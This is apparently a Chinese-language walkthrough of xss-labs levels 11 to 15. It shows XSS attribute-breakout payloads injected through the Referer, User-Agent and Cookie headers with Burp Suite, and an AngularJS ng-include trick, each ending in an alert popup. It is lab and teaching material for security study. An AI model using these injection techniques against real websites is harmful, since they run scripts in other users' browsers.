level 11
referer
查看源代码,发现了和level 10一样的隐藏表单。给每个隐藏变量传参,查看源代码,发现只有t_sort
可以接受参数。
http://xss-labs/level11.php?name=xss&t__link=xss&t__history=xss&t__sort=xss&t__ref=xss
尝试和level 10一样构造参数,发现被过滤了。(实在是想不出来了,偷偷看亿眼后端源代码)
代码语言:javascript复制# 关键代码
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_ref" value="'.$str33.'" type="hidden">
获取请求头中
referer
的数据,过滤<
和>
,并赋值给t_ref
。
用burpsuite抓包发现请求头中没有referer
。
GET /level11.php?name=xss&t__link=xss&t__history=xss&t__sort=xss&t__ref=xss HTTP/1.1
Host: xss-labs
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
用firefox
的Max HackBar
(HackBar
用不了,悲)添加referer
。查看源代码,发现t_ref
被赋值了,接下来的步骤就和level 11相同了。
传递referer: 1" type="" onmouseover="alert(/xss/)
,查看源代码发现拼接成功,鼠标移动到该元素上,跳出弹窗。
level 12
User-Agent
直接查看源代码,发现了四个隐藏表单,直接给这四个隐藏变量传值发现只有t_sort
能接收2参数。
但是发现了一个特殊变量:
代码语言:javascript复制<input name="t_ua" value="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0" type="hidden">
t_ua
的值为http
请求头的User-Agent
。通过burp suite抓包,尝试通过修改User-Agent
的值来拼接代码:
1" type="" onmouseover="alert(/xss/)
放包,发现拼接成功,鼠标移动到该元素上,成功跳出窗口。
less 13
cookie
和前面两题类似,首先分析源代码,可知这道题的突破点在于cookie
。burp suite抓包,修改cookie
即可。
GET /level13.php?name=test HTTP/1.1
Host: xss-labs
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: user=1" type="" onmouseover="alert(/xss/)
Upgrade-Insecure-Requests: 1
放包,查看源代码发现拼接成功,鼠标移动至该元素上,跳出弹窗。
less 14
貌似出错了?题目给的网址无法访问。
less 15
先看看AngularJS ng-include 指令差不多就有头绪了
这里可以让ng-include
去包含第一关存在XSS漏洞的页面。
src='level1.php?name=<button onclick="alert(/xss/)">click</button>'
,可以发现源代码包含了该内容作为一个子节点。
点击即可。